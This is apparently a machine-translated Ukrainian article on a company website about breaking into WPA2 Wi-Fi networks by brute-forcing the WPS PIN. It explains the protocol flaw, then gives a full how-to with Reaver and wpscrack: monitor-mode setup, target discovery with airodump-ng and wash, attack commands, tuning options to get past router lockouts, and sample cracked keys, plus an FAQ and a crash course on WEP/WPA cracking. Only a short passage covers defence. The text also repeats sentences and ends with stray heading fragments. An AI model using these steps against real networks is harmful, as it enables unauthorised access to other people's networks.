Статьи

Зламати Wi-Fi за 10 годин - Інтернет компанія Новікова

  1. Малюнок 1. PIN-код WPS, написаний на корпусі роутера
  2. Малюнок 3. Протокол аутентифікації WPS
  3. Малюнок 4. Блок-схема брутфорса PIN-коду WPS

Ще не так давно здавалося, що бездротова мережа, захищена за допомогою технології WPA2, цілком безпечна. Підібрати простий ключ для підключення дійсно можливо. Але якщо встановити по-справжньому довгий ключ, то сбрутіть його не допоможуть ні райдужні таблиці, ні навіть прискорення за рахунок GPU. Але, як виявилося, підключитися до бездротової мережі можна і без цього - скориставшись недавно знайденою уразливістю в протоколі WPS.

Але, як виявилося, підключитися до бездротової мережі можна і без цього - скориставшись недавно знайденою уразливістю в протоколі WPS

Ціна спрощень


Відкритих точок доступу, до яких взагалі не треба вводити ключ для підключення, стає все менше і менше. Здається, що скоро їх можна буде занести до Червоної книги. Якщо раніше людина могла навіть і не знати, що бездротову мережу можна закрити ключем, убезпечивши себе від сторонніх підключень, то тепер йому все частіше нагадують про таку можливість. Взяти хоча б кастомниє прошивки, які випускають провідні провайдери для популярних моделей роутерів, щоб спростити настройку. Потрібно вказати дві речі - логін / пароль і ... ключ для захисту бездротової мережі. Що ще більш важливо, самі виробники устаткування намагаються зробити процес налаштування нехитрим. Так, більшість сучасних роутерів підтримують механізм WPS (Wi-Fi Protected Setup). З його допомогою користувач за лічені секунди може налаштувати безпечну бездротову мережу, взагалі не забиваючи собі голову тим, що «десь ще потрібно включити шифрування і прописати WPA-ключ». Ввів в системі восьмизначний символьний PIN, який написаний на роутері, - і готово! І ось тут тримайся міцніше. У грудні відразу двоє дослідників розповіли про серйозні фундаментальних дірах в протоколі WPS. Це як чорний хід для будь-якого роутера. Виявилося, що якщо в точці доступу активований WPS (який, на хвилиночку, включений в більшості роутерів за замовчуванням), то підібрати PIN для підключення і витягти ключ для підключення можна за лічені години!

Як працює WPS?


Задумка творців WPS хороша. Механізм автоматично задає ім'я мережі і шифрування. Таким чином, користувачеві немає необхідності лізти в веб-інтерфейс і розбиратися зі складними настройками. А до вже налаштованої мережі можна без проблем додати будь-який пристрій (наприклад, ноутбук): якщо правильно ввести PIN, то він отримає всі необхідні настройки. Це дуже зручно, тому всі великі гравці на ринку (Cisco / Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) зараз пропонують бездротові роутери з підтримкою WPS. Розберемося трохи докладніше.
Існує три варіанти використання WPS:


  1. Push-Button-Connect (PBC). Користувач натискає спеціальну кнопку на роутері (хардварний) і на комп'ютері (софтварную), тим самим активуючи процес налаштування. Нам це нецікаво.
  2. Введення PIN-коду в веб-інтерфейсе.Пользователь заходить через браузер в адміністративний інтерфейс роутера і вводить там PIN-код з восьми цифр, написаний на корпусі пристрою (рисунок 1), після чого відбувається процес налаштування. Цей спосіб підходить скоріше для початкової конфігурації роутера, тому ми його розглядати теж не будемо.
    Малюнок 1. PIN-код WPS, написаний на корпусі роутера
  3. Введення PIN-коду на комп'ютері користувача (рисунок 2).
    При з'єднанні з роутером можна відкрити спеціальну сесію WPS, в рамках якої налаштувати роутер або отримати вже наявні налаштування, якщо правильно ввести PIN-код. Ось це вже привабливо. Для відкриття подібної сесії не потрібна ніяка аутентифікація. Це може зробити будь-який бажаючий! Виходить, що PIN-код вже потенційно схильний до атаки типу bruteforce. Але це лише квіточки.
    Малюнок 2. Вікно для введення PIN-коду WPS

уразливість


Як я вже помітив раніше, PIN-код складається з восьми цифр - отже, існує 10 ^ 8 (100 000 000) варіантів для підбору. Однак кількість варіантів можна істотно скоротити. Справа в тому, що остання цифра PIN-коду являє собою якусь контрольну суму, яка вираховується на підставі семи перших цифр. У підсумку отримуємо вже 10 ^ 7 (10 000 000) варіантів. Але і це ще не все! Далі уважно дивимося на пристрій протоколу аутентифікації WPS (рисунок 3). Таке відчуття, що його спеціально проектували, щоб залишити можливість для брутфорса. Виявляється, перевірка PIN-коду здійснюється в два етапи. Він ділиться на дві рівні частини, і кожна частина перевіряється окремо! Як я вже помітив раніше, PIN-код складається з восьми цифр - отже, існує 10 ^ 8 (100 000 000) варіантів для підбору


Малюнок 3. Протокол аутентифікації WPS


Подивимося на схему:


  1. Якщо після відсилання повідомлення M4 атакуючий отримав у відповідь EAP-NACK, то він може бути впевнений, що перша частина PIN-коду неправильна.
  2. Якщо ж він отримав EAP-NACK після відсилання M6, то, відповідно, друга частина PIN-коду невірна. Отримуємо 10 ^ 4 (10 000) варіантів для першої половини і 10 ^ 3 (1 000) для другої. У підсумку маємо всього лише 11 000 варіантів для повного перебору. Щоб краще зрозуміти, як це буде працювати, подивися на схему.
  3. Важливий момент - можлива швидкість перебору. Вона обмежена швидкістю обробки роутером WPS-запитів: одні точки доступу будуть видавати результат кожну секунду, інші - кожні десять секунд. Основний час при цьому витрачається на розрахунок відкритого ключа по алгоритму Діффі-Хеллмана, він повинен згенерувати перед кроком M3. Витрачений на це час можна зменшити, вибравши на стороні клієнта простий секретний ключ, який в подальшому спростить розрахунки альтернативних джерел. Практика показує, що для успішного результату зазвичай досить перебрати лише половину всіх варіантів, і в середньому брутфорс займає всього від чотирьох до десяти годин.

Практика показує, що для успішного результату зазвичай досить перебрати лише половину всіх варіантів, і в середньому брутфорс займає всього від чотирьох до десяти годин


Малюнок 4. Блок-схема брутфорса PIN-коду WPS

перша реалізація


Першою з'явилася реалізацією брутфорса стала утиліта wpscrack , Написана дослідником Стефаном Фібёком на мові Python. Утиліта використовувала бібліотеку Scapy, що дозволяє ін'ектіровать довільні мережеві пакети. Сценарій можна запустити тільки під Linux-системою, попередньо перевівши бездротової інтерфейс в режим моніторингу. Як параметри необхідно вказати ім'я мережевого інтерфейсу в системі, MAC-адресу бездротового адаптера, а також MAC-адресу точки доступу і її назва (SSID).

$ ./Wpscrack.py --iface mon0 --client 94: 0c: 6d: 88: 00: 00 --bssid f4: ec: 38: cf: 00: 00 --ssid testap -v
sniffer started
trying 00000000
attempt took 0.95 seconds
trying 00010009
<...>
trying 18660005
attempt took 1.08 seconds
trying 18670004 # found 1st half of PIN
attempt took 1.09 seconds
trying 18670011
attempt took 1.08 seconds
<...>
trying 18674095 # found 2st half of PIN
<...>
Network Key:
0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo
0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras
0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac
0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one
<...>

Як бачиш, спочатку була підібрана перша половина PIN-коду, потім - друга, і в кінці кінців програма видала готовий до використання ключ для підключення до бездротової мережі. Складно уявити, скільки часу треба було б, щоб підібрати ключ такої довжини (61 символ) раніше існували інструментами. Втім, wpscrack не єдина утиліта для експлуатації уразливості, і це досить кумедний момент: в той же самий час над тією ж самою проблемою працював і інший дослідник - Крейг Хеффнер з компанії Tactical Network Solutions. Побачивши, що в Мережі з'явився працюючий PoC для реалізації атаки, він опублікував свою утиліту Reaver . Вона не тільки автоматизує процес підбору WPS-PIN і витягує PSK-ключ, але і пропонує більшу кількість налаштувань, щоб атаку можна було здійснити проти самих різних роутерів. До того ж вона підтримує набагато більшу кількість бездротових адаптерів. Ми вирішили взяти її за основу і детально описати, як зловмисник може використовувати уразливість в протоколі WPS для підключення до захищеної бездротової мережі.

HOW-TO


Як і для будь-якої іншої атаки на бездротову мережу, нам знадобиться Linux. Тут треба сказати, що Reaver присутній в репозиторії усіма відомого дистрибутива BackTrack , В якому до того ж уже включені необхідні драйвера для бездротових пристроїв. Тому використовувати ми будемо саме його.

Крок 0. Готуємо систему
На офіційному сайті BackTrack 5 R1 доступний для завантаження у вигляді віртуальної машини під VMware і завантажувального образу ISO. Рекомендую останній варіант. Можна просто записати образ на болванку, а можна за допомогою програми UNetbootin зробити завантажувальну флешку: так чи інакше, завантажившись з такого носія, ми без зайвих проблем відразу матимемо систему, готову до роботи.

Крок 1. Вхід в систему
Логін і пароль для входу за замовчуванням - root: toor. Опинившись в консолі, можна сміливо стартувати «ікси» (є окремі збірки BackTrack - як з GNOME, так і KDE):

$ startx

Крок 2. Встановлення Reaver
Щоб завантажити Reaver, нам знадобиться інтернет. Тому підключаємо патчкорд або налаштовуємо бездротової адаптер (меню «Applications> Internet> Wicd Network Manager»). Далі запускаємо емулятор терміналу, де завантажуємо останню версію утиліти через репозиторій:

$ Apt-get update
$ Apt-get install reaver

Тут треба сказати, що в репозиторії знаходиться версія 1.3, яка особисто у мене заробила неправильно. Пошукавши інформацію про проблему, я знайшов пост автора, який рекомендує оновитися до максимально можливої ​​версії, скомпілювавши вихідні, взяті з SVN. Це, загалом, самий універсальний спосіб установки (для будь-якого дистрибутива).

$ Svn checkout reaver-wps.googlecode.com/svn/trunk/ reaver-wps
$ Cd ./reaver-wps/src/
$ ./configure
$ make
$ Make install

Ніяких проблем зі складанням під BackTrack не буде - перевірено особисто. У дистрибутиві Arch Linux, яким користуюся я, установка проводиться і того простіше, завдяки наявності відповідного PKGBUILD'а:

$ Yaourt -S reaver-wps-svn $ Yaourt -S reaver-wps-svn

Малюнок 5. Приклад роботи брутфорcа Reaver

Крок 3. Підготовка до Брутфорс
Для використання Reaver необхідно виконати наступні речі:


  • перевести бездротової адаптер в режим моніторингу;
  • дізнатися ім'я бездротового інтерфейсу;
  • дізнатися MAC-адресу точки доступу (BSSID);
  • переконатися, що на точці активований WPS.

Для початку перевіримо, що бездротовий інтерфейс взагалі присутня в системі:

$ iwconfig

Якщо у висновку цієї команди є інтерфейс з описом (зазвичай це wlan0) - значить, система розпізнала адаптер (якщо він підключався до бездротової мережі, щоб завантажити Reaver, то краще обірвати підключення). Переведемо адаптер в режим моніторингу:

$ Airmon-ng start wlan0

Ця команда створює віртуальний інтерфейс в режимі моніторингу, його назва буде вказано у висновку команди (зазвичай це mon0). Тепер нам треба знайти точку доступу для атаки і дізнатися її BSSID. Скористаємося утилітою для прослушки бездротового ефіру airodump-ng:

$ Airodump-ng mon0

На екрані з'явиться список точок доступу в радіусі досяжності. Нас цікавлять точки з шифруванням WPA / WPA2 і аутентифікації по ключу PSK. Краще вибирати одну з перших в списку, так як для проведення атаки бажана хороша зв'язок з точкою. Якщо точок багато і список не вміщується на екрані, то можна скористатися іншою відомою утилітою - kismet, там інтерфейс більш пристосований в цьому плані. Опціонально можна на місці перевірити, чи включений на нашій точці механізм WPS. Для цього в комплекті з Reaver (але тільки якщо брати його з SVN) йде утиліта wash:

$ ./Wash -i mon0

Як параметр задається ім'я інтерфейсу, перекладеного в режим моніторингу. Також можна використовувати опцію '-f' і згодувати утиліті .cap файл, створений, наприклад, тим же airodump-ng. З незрозумілої причини в пакет Reaver в BackTrack не включили утиліту wash. Будемо сподіватися, до моменту публікації статті цю помилку виправлять.

Крок 4. Запускаємо брутфорс
Тепер можна приступати безпосередньо до перебору PIN'а. Для старту Reaver в найпростішому випадку потрібно небагато. Необхідно лише вказати ім'я інтерфейсу (перекладеного нами раніше в режим моніторингу) і BSSID точки доступу:

$ Reaver -i mon0 -b 00: 21: 29: 74: 67: 50 -vv

Ключ "-vv" включає розширений висновок програми, щоб ми могли переконатися, що все працює як треба.

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner < [Email protected] >
[+] Waiting for beacon from 00: 21: 29: 74: 67: 50
[+] Associated with 00: 21: 29: 74: 67: 50 (ESSID: linksys)
[+] Trying pin 63979978

Якщо програма послідовно відправляє PIN'и точки доступу, значить, все завелося добре, і залишається тупо чекати. Процес може затягнутися. Найкоротший час, за яке мені вдалося сбрутфорсіть PIN, склало приблизно п'ять годин. Як тільки він буде підібраний, програма радісно про це повідомить:

[+] Trying pin 64637129
[+] Key cracked in 13654 seconds
[+] WPS PIN: '64637129'
[+] WPA PSK: 'MyH0rseThink $ YouStol3HisCarrot!'
[+] AP SSID: 'linksys'

Найцінніше тут - це, звичайно ж, ключ WPA-PSK, який відразу ж можна використовувати для підключення. Все так просто, що навіть не вкладається в голові. Найцінніше тут - це, звичайно ж, ключ WPA-PSK, який відразу ж можна використовувати для підключення

Малюнок 6. Reaver Pro - залізяка від творців Reaver

Чи можна захиститися?


Захиститися від атаки можна поки одним способом - відключити нафіг WPS в настройках роутера. Правда, як виявилося, зробити це можливо далеко не завжди. Оскільки вразливість існує не на рівні реалізації, а на рівні протоколу, чекати від виробників швидкого патча, який вирішив би всі проблеми, не варто. Найбільше, що вони можуть зараз зробити, - це максимально протидіяти Брутфорс. Наприклад, якщо блокувати WPS на одну годину після п'яти невдалих спроб введення PIN-коду, то перебір займе вже близько 90 днів. Але інше питання, наскільки швидко можна хильнути такий патч на мільйони пристроїв, які працюють по всьому світу?

прокачуємо Reaver


У HOWTO ми показали найпростіший і найбільш універсальний спосіб використання утиліти Reaver. Однак реалізація WPS у різних виробників відрізняється, тому в деяких випадках необхідна додаткова настройка. Нижче я приведу додаткові опції, які можуть підвищити швидкість і ефективність перебору ключа.


  1. Можна задати номер каналу і SSID точки доступу:
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 -c 11 -e linksys
  2. Благотворно позначається на швидкості брутфорса опція '--dh-small', яка задає невелике значення секретного ключа, тим самим полегшуючи розрахунки на стороні точки доступу:
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 -vv --dh-small
  3. Затримку читання відповіді за замовчуванням дорівнює п'яти секундам. При необхідності його можна змінити:
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 -t 2
  4. Затримка між спробами за замовчуванням дорівнює одній секунді. Вона також може бути налаштована:
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 -d 0
  5. Деякі точки доступу можуть блокувати WPS на певний час, запідозривши, що їх намагаються поиметь. Reaver цю ситуацію помічає і робить паузу в переборі на 315 секунд за замовчуванням, тривалість цієї паузи можна міняти:
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 --lock-delay = 250
  6. Деякі реалізації протоколу WPS розривають з'єднання при неправильному PIN-коді, хоча по специфікації повинні повертати особливе повідомлення. Reaver автоматично розпізнає таку ситуацію, для цього існує опція '--nack':
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 --nack
  7. Опція '--eap-terminate' призначена для роботи з тими АР, які вимагають завершення WPS-сесії за допомогою повідомлення EAP FAIL:
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 --eap-terminate
  8. Виникнення помилок в WPS-сесії може означати, що АР обмежує число спроб введення PIN-коду, або просто перевантажена. Інформація про це буде відображатися на екрані. В цьому випадку Reaver призупиняє свою діяльність, причому час паузи може бути задано за допомогою опції '--fail-wait':
    # Reaver -i mon0 -b 00: 01: 02: 03: 04: 05 --fail-wait = 360

FAQ


Питання: Який бездротової адаптер потрібен для злому?
Відповідь: Перед тим як експериментувати, потрібно переконатися, що бездротової адаптер може працювати в режимі моніторингу. Кращий спосіб - звіритися зі списком підтримуваного обладнання на сайті проекту Aircrack-ng (bit.ly/wifi_adapter_list). Якщо ж постане питання про те, який бездротовий модуль купити, то почати можна з будь-якого адаптера на чіпсеті RTL8187L. USB'шние донгла легко знайти в інтернеті за 20 $.

Питання: Чому у мене виникають помилки «timeout» і «out of order»?
Відповідь: Зазвичай це відбувається через низький рівень сигналу і поганий зв'язку з точкою доступу. Крім того, точка доступу може на час заблокувати використання WPS.

Питання: Чому у мене не працює спуфинг MAC-адреси?
Відповідь: Можливо, ти спуф MAC віртуального інтерфейсу mon0, а це працювати не буде. Треба вказувати ім'я реального інтерфейсу, наприклад, wlan0.

Питання: Чому при поганому сигналі Reaver працює погано, хоча той же злом WEP проходить нормально?
Відповідь: Зазвичай злом WEP відбувається шляхом повторної пересилки перехоплених пакетів, щоб отримати більше векторів ініціалізації (IV), необхідних для успішного злому. В цьому випадку неважливо, загубився будь-якої пакет, або якось був пошкоджений шляхом. А ось для атаки на WPS необхідно суворе дотримання протоколу передачі пакетів між точкою доступу і Reaver для перевірки кожного PIN-коду. І якщо при цьому якийсь пакет загубиться, або прийде в непотрібному вигляді, то доведеться заново встановлювати WPS-сесію. Це робить атаки на WPS набагато більш залежними від рівня сигналу. Також важливо пам'ятати, що якщо твій бездротової адаптер бачить точку доступу, то це ще не означає, що і точка доступу бачить тебе. Так що якщо ти є щасливим володарем потужного адаптера від ALFA Network і антени на пару десятків dBi, то не сподівайся, що вийде поламати все спіймані точки доступу.

Питання: Reaver весь час посилає точки доступу один і той же PIN, в чому справа?
Відповідь: Перевір, активований чи на роутері WPS. Це можна зробити за допомогою утиліти wash: запусти її і перевір, що твоя мета знаходиться в списку.

Питання: Чому я не можу асоціюватися з точкою доступу?
Відповідь: Це може бути через поганий рівень сигналу або тому, що твій адаптер непридатний для подібних досліджень.

Питання: Чому я постійно отримую помилки «rate limiting detected»?
Відповідь: Це відбувається тому, що точка доступу заблокувала WPS. Зазвичай це тимчасове блокування (близько п'яти хвилин), але в деяких випадках можуть вліпити і перманентний бан (розблокування тільки через адміністративну панель). Є один неприємний баг в Reaver версії 1.3, через який не визначаються зняття подібних блокувань. Як воркераунда пропонують використовувати опцію '--ignore-locks' або завантажити останню версію з SVN.

Питання: Чи можна одночасно запустити два і більше примірників Reaver для прискорення атаки?
Відповідь: Теоретично можна, але якщо вони будуть довбати одну і ту ж точку доступу, то швидкість перебору чи збільшиться, так як в даному випадку вона обмежується слабким залізом точки доступу, яке вже при одному атакуючому завантажується по повній.

Експрес-курс по злому Wi-Fi


  1. WEP (Wired Equivalent Privacy). Найперша технологія для захисту бездротової мережі виявилася вкрай слабкою. Зламати її можна буквально за кілька хвилин, використовуючи слабкості застосовуваного в ній шифру RC4. Основними інструментами тут служать сніфер airodump-ng для збору пакетів і утиліта aircrack-ng, яка використовується безпосередньо для злому ключа. Також існує спеціальна тулза wesside-ng, яка взагалі зламує всі довколишні точки з WEP в автоматичному режимі.
  2. WPA / WPA2 (Wireless Protected Access). Перебір - це єдиний спосіб підібрати ключ для закритої WPA / WPA2 мережі (та й то виключно за наявності дампа так званого WPA Handshake, який передається в ефір при підключенні клієнта до пункту доступу). Брутфорс може затягнутися на дні, місяці і роки. Для збільшення ефективності перебору спочатку використовувалися спеціалізовані словники, потім були згенеровані райдужні таблиці, пізніше з'явилися утиліти, котрі задіяли технології NVIDIA CUDA і ATI Stream для апаратного прискорення процесу за рахунок GPU. Використовувані інструменти - aircrack-ng (брутфорс за словником), cowpatty (за допомогою райдужних таблиць), pyrit (з використанням відеокарти).

Як працює WPS?
Але інше питання, наскільки швидко можна хильнути такий патч на мільйони пристроїв, які працюють по всьому світу?
Питання: Чому у мене виникають помилки «timeout» і «out of order»?
Питання: Чому у мене не працює спуфинг MAC-адреси?
Питання: Reaver весь час посилає точки доступу один і той же PIN, в чому справа?
Питання: Чому я не можу асоціюватися з точкою доступу?
Питання: Чому я постійно отримую помилки «rate limiting detected»?
Питання: Чи можна одночасно запустити два і більше примірників Reaver для прискорення атаки?

Новости